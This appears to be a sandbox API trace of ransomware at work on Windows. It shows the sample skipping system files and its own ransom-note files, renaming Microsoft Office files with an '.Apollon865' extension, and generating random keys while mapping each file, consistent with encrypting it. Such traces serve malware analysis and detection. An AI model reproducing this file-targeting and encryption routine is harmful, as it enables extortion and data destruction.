	[0072.649] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OCCMPVRD.XML" | out: lpString1="OCCMPVRD.XML") returned="OCCMPVRD.XML"
	[0072.649] lstrlenW (lpString="OCCMPVRD.XML") returned 12
	[0072.649] lstrlenW (lpString="Apollon865") returned 10
	[0072.649] lstrcmpiW (lpString1="CMPVRD.XML", lpString2="Apollon865") returned 1
	[0072.649] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.Apollon865") returned 71
	[0072.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.apollon865"), dwFlags=0x1) returned 1
	[0072.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0072.655] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1128) returned 1
	[0072.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0072.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0072.656] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0072.656] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0072.656] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0072.656] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0072.657] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x770, lpName=0x0) returned 0x118
	[0072.658] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x770) returned 0x100000
	[0072.659] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0072.659] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.659] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0072.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0072.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0072.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0072.660] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.660] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0072.660] CloseHandle (hObject=0x118) returned 1
	[0072.660] CloseHandle (hObject=0xd8) returned 1
	[0072.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0072.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0072.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0072.661] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b675400, ftCreationTime.dwHighDateTime=0x1c2c0e2, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b675400, ftLastWriteTime.dwHighDateTime=0x1c2c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="Apollon865.txt.exe") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2=".") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="..") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="windows") returned -1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="bootmgr") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="temp") returned -1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="pagefile.sys") returned -1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="boot") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="ids.txt") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="ntuser.dat") returned 1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="perflogs") returned -1
	[0072.661] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="MSBuild") returned 1
	[0072.661] lstrlenW (lpString="OCMODVRD.XML") returned 12
	[0072.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML") returned 60
	[0072.661] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OCMODVRD.XML" | out: lpString1="OCMODVRD.XML") returned="OCMODVRD.XML"
	[0072.661] lstrlenW (lpString="OCMODVRD.XML") returned 12
	[0072.661] lstrlenW (lpString="Apollon865") returned 10
	[0072.661] lstrcmpiW (lpString1="MODVRD.XML", lpString2="Apollon865") returned 1
	[0072.661] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.Apollon865") returned 71
	[0072.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.apollon865"), dwFlags=0x1) returned 1
	[0072.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0072.663] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1068) returned 1
	[0072.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0072.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0072.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0072.663] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0072.664] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0072.664] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0072.664] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x730, lpName=0x0) returned 0x118
	[0072.666] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x730) returned 0x100000
	[0072.667] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0072.667] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0072.667] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0072.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0072.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.668] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0072.668] CloseHandle (hObject=0x118) returned 1
	[0072.668] CloseHandle (hObject=0xd8) returned 1
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0072.668] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0072.669] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde567d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xde567d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x81380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFOWCI.DLL", cAlternateFileName="")) returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2=".") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="..") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="windows") returned -1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="bootmgr") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="temp") returned -1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="pagefile.sys") returned -1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="boot") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="ids.txt") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="ntuser.dat") returned 1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="perflogs") returned -1
	[0072.669] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="MSBuild") returned 1
	[0072.669] lstrlenW (lpString="OFFOWCI.DLL") returned 11
	[0072.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML") returned 60
	[0072.669] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OFFOWCI.DLL" | out: lpString1="OFFOWCI.DLL") returned="OFFOWCI.DLL"
	[0072.669] lstrlenW (lpString="OFFOWCI.DLL") returned 11
	[0072.669] lstrlenW (lpString="Apollon865") returned 10
	[0072.669] lstrcmpiW (lpString1="FFOWCI.DLL", lpString2="Apollon865") returned 1
	[0072.669] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OIS.HXS" | out: lpString1="OIS.HXS") returned="OIS.HXS"
	[0072.669] lstrlenW (lpString="OIS.HXS") returned 7
	[0072.669] lstrlenW (lpString="Apollon865") returned 10
	[0072.669] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OISINTL.DLL" | out: lpString1="OISINTL.DLL") returned="OISINTL.DLL"
	[0072.669] lstrlenW (lpString="OISINTL.DLL") returned 11
	[0072.669] lstrlenW (lpString="Apollon865") returned 10
	[0072.669] lstrcmpiW (lpString1="ISINTL.DLL", lpString2="Apollon865") returned 1
	[0072.670] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OIS_COL.HXC" | out: lpString1="OIS_COL.HXC") returned="OIS_COL.HXC"
	[0072.670] lstrlenW (lpString="OIS_COL.HXC") returned 11
	[0072.670] lstrlenW (lpString="Apollon865") returned 10
	[0072.670] lstrcmpiW (lpString1="IS_COL.HXC", lpString2="Apollon865") returned 1
	[0072.670] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OIS_COL.HXT" | out: lpString1="OIS_COL.HXT") returned="OIS_COL.HXT"
	[0072.670] lstrlenW (lpString="OIS_COL.HXT") returned 11
	[0072.670] lstrlenW (lpString="Apollon865") returned 10
	[0072.670] lstrcmpiW (lpString1="IS_COL.HXT", lpString2="Apollon865") returned 1
	[0072.670] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OIS_F_COL.HXK" | out: lpString1="OIS_F_COL.HXK") returned="OIS_F_COL.HXK"
	[0072.670] lstrlenW (lpString="OIS_F_COL.HXK") returned 13
	[0072.670] lstrlenW (lpString="Apollon865") returned 10
	[0072.670] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.670] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OIS_K_COL.HXK" | out: lpString1="OIS_K_COL.HXK") returned="OIS_K_COL.HXK"
	[0072.670] lstrlenW (lpString="OIS_K_COL.HXK") returned 13
	[0072.670] lstrlenW (lpString="Apollon865") returned 10
	[0072.670] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.670] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OMSINTL.DLL" | out: lpString1="OMSINTL.DLL") returned="OMSINTL.DLL"
	[0072.670] lstrlenW (lpString="OMSINTL.DLL") returned 11
	[0072.670] lstrlenW (lpString="Apollon865") returned 10
	[0072.670] lstrcmpiW (lpString1="MSINTL.DLL", lpString2="Apollon865") returned 1
	[0072.673] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OMSINTL.DLL.IDX_DLL" | out: lpString1="OMSINTL.DLL.IDX_DLL") returned="OMSINTL.DLL.IDX_DLL"
	[0072.673] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19
	[0072.674] lstrlenW (lpString="Apollon865") returned 10
	[0072.674] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.674] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONELEV.EXE" | out: lpString1="ONELEV.EXE") returned="ONELEV.EXE"
	[0072.674] lstrlenW (lpString="ONELEV.EXE") returned 10
	[0072.674] lstrlenW (lpString="Apollon865") returned 10
	[0072.674] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONENOTE.HXS" | out: lpString1="ONENOTE.HXS") returned="ONENOTE.HXS"
	[0072.674] lstrlenW (lpString="ONENOTE.HXS") returned 11
	[0072.674] lstrlenW (lpString="Apollon865") returned 10
	[0072.674] lstrcmpiW (lpString1="NENOTE.HXS", lpString2="Apollon865") returned 1
	[0072.674] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OneNoteSyncPCIntl.dll" | out: lpString1="OneNoteSyncPCIntl.dll") returned="OneNoteSyncPCIntl.dll"
	[0072.674] lstrlenW (lpString="OneNoteSyncPCIntl.dll") returned 21
	[0072.674] lstrlenW (lpString="Apollon865") returned 10
	[0072.674] lstrcmpiW (lpString1="PCIntl.dll", lpString2="Apollon865") returned 1
	[0072.674] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONENOTE_COL.HXC" | out: lpString1="ONENOTE_COL.HXC") returned="ONENOTE_COL.HXC"
	[0072.674] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15
	[0072.674] lstrlenW (lpString="Apollon865") returned 10
	[0072.674] lstrcmpiW (lpString1="TE_COL.HXC", lpString2="Apollon865") returned 1
	[0072.674] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONENOTE_COL.HXT" | out: lpString1="ONENOTE_COL.HXT") returned="ONENOTE_COL.HXT"
	[0072.674] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15
	[0072.674] lstrlenW (lpString="Apollon865") returned 10
	[0072.674] lstrcmpiW (lpString1="TE_COL.HXT", lpString2="Apollon865") returned 1
	[0072.675] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONENOTE_F_COL.HXK" | out: lpString1="ONENOTE_F_COL.HXK") returned="ONENOTE_F_COL.HXK"
	[0072.675] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17
	[0072.675] lstrlenW (lpString="Apollon865") returned 10
	[0072.675] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.675] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONENOTE_K_COL.HXK" | out: lpString1="ONENOTE_K_COL.HXK") returned="ONENOTE_K_COL.HXK"
	[0072.675] lstrlenW (lpString="ONENOTE_K_COL.HXK") returned 17
	[0072.675] lstrlenW (lpString="Apollon865") returned 10
	[0072.675] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.675] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONGuide.onepkg" | out: lpString1="ONGuide.onepkg") returned="ONGuide.onepkg"
	[0072.675] lstrlenW (lpString="ONGuide.onepkg") returned 14
	[0072.675] lstrlenW (lpString="Apollon865") returned 10
	[0072.675] lstrcmpiW (lpString1="ide.onepkg", lpString2="Apollon865") returned 1
	[0072.675] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.DLL" | out: lpString1="ONINTL.DLL") returned="ONINTL.DLL"
	[0072.675] lstrlenW (lpString="ONINTL.DLL") returned 10
	[0072.675] lstrlenW (lpString="Apollon865") returned 10
	[0072.675] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.DLL.IDX_DLL" | out: lpString1="ONINTL.DLL.IDX_DLL") returned="ONINTL.DLL.IDX_DLL"
	[0072.675] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18
	[0072.675] lstrlenW (lpString="Apollon865") returned 10
	[0072.675] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.675] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.REST.IDX_DLL" | out: lpString1="ONINTL.REST.IDX_DLL") returned="ONINTL.REST.IDX_DLL"
	[0072.675] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19
	[0072.675] lstrlenW (lpString="Apollon865") returned 10
	[0072.675] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.676] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ORGCH.VRD" | out: lpString1="ORGCH.VRD") returned="ORGCH.VRD"
	[0072.676] lstrlenW (lpString="ORGCH.VRD") returned 9
	[0072.676] lstrlenW (lpString="Apollon865") returned 10
	[0072.676] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ORGCHART.VSL" | out: lpString1="ORGCHART.VSL") returned="ORGCHART.VSL"
	[0072.676] lstrlenW (lpString="ORGCHART.VSL") returned 12
	[0072.676] lstrlenW (lpString="Apollon865") returned 10
	[0072.676] lstrcmpiW (lpString1="GCHART.VSL", lpString2="Apollon865") returned 1
	[0072.676] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ORGPOS.VRD" | out: lpString1="ORGPOS.VRD") returned="ORGPOS.VRD"
	[0072.676] lstrlenW (lpString="ORGPOS.VRD") returned 10
	[0072.676] lstrlenW (lpString="Apollon865") returned 10
	[0072.676] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ORGWIZ.VSL" | out: lpString1="ORGWIZ.VSL") returned="ORGWIZ.VSL"
	[0072.676] lstrlenW (lpString="ORGWIZ.VSL") returned 10
	[0072.676] lstrlenW (lpString="Apollon865") returned 10
	[0072.676] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ospintl.dll" | out: lpString1="ospintl.dll") returned="ospintl.dll"
	[0072.676] lstrlenW (lpString="ospintl.dll") returned 11
	[0072.676] lstrlenW (lpString="Apollon865") returned 10
	[0072.676] lstrcmpiW (lpString1="spintl.dll", lpString2="Apollon865") returned 1
	[0072.676] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTFORM.DAT" | out: lpString1="OUTFORM.DAT") returned="OUTFORM.DAT"
	[0072.676] lstrlenW (lpString="OUTFORM.DAT") returned 11
	[0072.676] lstrlenW (lpString="Apollon865") returned 10
	[0072.676] lstrcmpiW (lpString1="UTFORM.DAT", lpString2="Apollon865") returned 1
	[0072.677] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLBAR.INF" | out: lpString1="OUTLBAR.INF") returned="OUTLBAR.INF"
	[0072.677] lstrlenW (lpString="OUTLBAR.INF") returned 11
	[0072.677] lstrlenW (lpString="Apollon865") returned 10
	[0072.677] lstrcmpiW (lpString1="UTLBAR.INF", lpString2="Apollon865") returned 1
	[0072.677] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.DLL" | out: lpString1="OUTLLIBR.DLL") returned="OUTLLIBR.DLL"
	[0072.677] lstrlenW (lpString="OUTLLIBR.DLL") returned 12
	[0072.677] lstrlenW (lpString="Apollon865") returned 10
	[0072.677] lstrcmpiW (lpString1="TLLIBR.DLL", lpString2="Apollon865") returned 1
	[0072.677] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.DLL.IDX_DLL" | out: lpString1="OUTLLIBR.DLL.IDX_DLL") returned="OUTLLIBR.DLL.IDX_DLL"
	[0072.677] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20
	[0072.677] lstrlenW (lpString="Apollon865") returned 10
	[0072.677] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.677] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.REST.IDX_DLL" | out: lpString1="OUTLLIBR.REST.IDX_DLL") returned="OUTLLIBR.REST.IDX_DLL"
	[0072.677] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21
	[0072.677] lstrlenW (lpString="Apollon865") returned 10
	[0072.677] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.677] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.DEV.HXS" | out: lpString1="OUTLOOK.DEV.HXS") returned="OUTLOOK.DEV.HXS"
	[0072.677] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15
	[0072.677] lstrlenW (lpString="Apollon865") returned 10
	[0072.677] lstrcmpiW (lpString1="OK.DEV.HXS", lpString2="Apollon865") returned 1
	[0072.677] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.DEV_COL.HXC" | out: lpString1="OUTLOOK.DEV_COL.HXC") returned="OUTLOOK.DEV_COL.HXC"
	[0072.677] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19
	[0072.677] lstrlenW (lpString="Apollon865") returned 10
	[0072.678] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="Apollon865") returned 1
	[0072.678] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.DEV_COL.HXT" | out: lpString1="OUTLOOK.DEV_COL.HXT") returned="OUTLOOK.DEV_COL.HXT"
	[0072.678] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19
	[0072.678] lstrlenW (lpString="Apollon865") returned 10
	[0072.678] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="Apollon865") returned 1
	[0072.678] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.DEV_F_COL.HXK" | out: lpString1="OUTLOOK.DEV_F_COL.HXK") returned="OUTLOOK.DEV_F_COL.HXK"
	[0072.678] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21
	[0072.678] lstrlenW (lpString="Apollon865") returned 10
	[0072.678] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.678] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.DEV_K_COL.HXK" | out: lpString1="OUTLOOK.DEV_K_COL.HXK") returned="OUTLOOK.DEV_K_COL.HXK"
	[0072.678] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21
	[0072.678] lstrlenW (lpString="Apollon865") returned 10
	[0072.678] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.678] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.HOL" | out: lpString1="OUTLOOK.HOL") returned="OUTLOOK.HOL"
	[0072.678] lstrlenW (lpString="OUTLOOK.HOL") returned 11
	[0072.678] lstrlenW (lpString="Apollon865") returned 10
	[0072.678] lstrcmpiW (lpString1="UTLOOK.HOL", lpString2="Apollon865") returned 1
	[0072.678] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK.HXS" | out: lpString1="OUTLOOK.HXS") returned="OUTLOOK.HXS"
	[0072.678] lstrlenW (lpString="OUTLOOK.HXS") returned 11
	[0072.678] lstrlenW (lpString="Apollon865") returned 10
	[0072.678] lstrcmpiW (lpString1="UTLOOK.HXS", lpString2="Apollon865") returned 1
	[0072.679] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK_COL.HXC" | out: lpString1="OUTLOOK_COL.HXC") returned="OUTLOOK_COL.HXC"
	[0072.679] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15
	[0072.679] lstrlenW (lpString="Apollon865") returned 10
	[0072.679] lstrcmpiW (lpString1="OK_COL.HXC", lpString2="Apollon865") returned 1
	[0072.679] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK_COL.HXT" | out: lpString1="OUTLOOK_COL.HXT") returned="OUTLOOK_COL.HXT"
	[0072.679] lstrlenW (lpString="OUTLOOK_COL.HXT") returned 15
	[0072.679] lstrlenW (lpString="Apollon865") returned 10
	[0072.679] lstrcmpiW (lpString1="OK_COL.HXT", lpString2="Apollon865") returned 1
	[0072.679] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLOOK_F_COL.HXK" | out: lpString1="OUTLOOK_F_COL.HXK") returned="OUTLOOK_F_COL.HXK"
	[0072.679] lstrlenW (lpString="OUTLOOK_F_COL.HXK") returned 17
	[0072.679] lstrlenW (lpString="Apollon865") returned 10
	[0072.679] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
